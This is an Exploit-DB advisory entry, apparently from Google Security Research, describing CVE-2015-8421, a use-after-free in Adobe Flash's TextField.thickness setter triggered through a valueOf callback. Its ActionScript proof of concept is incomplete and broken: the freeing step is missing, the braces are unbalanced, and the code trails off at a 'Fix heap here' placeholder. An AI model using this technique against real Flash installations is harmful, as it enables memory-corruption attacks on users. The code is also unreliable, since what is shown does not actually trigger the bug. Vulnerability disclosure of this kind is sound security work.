Adobe Flash TextField.thickness Setter - Use-After-Free

ID EDB-ID:39045
Type exploitdb
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Adobe Flash TextField.thickness Setter - Use-After-Free. CVE-2015-8421. Dos exploit for windows platform


There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};

function func(){
        if(times == 0){
          return 0;


        // Fix heap here

	return 0;

A sample swf and fla are attached.

Proof of Concept: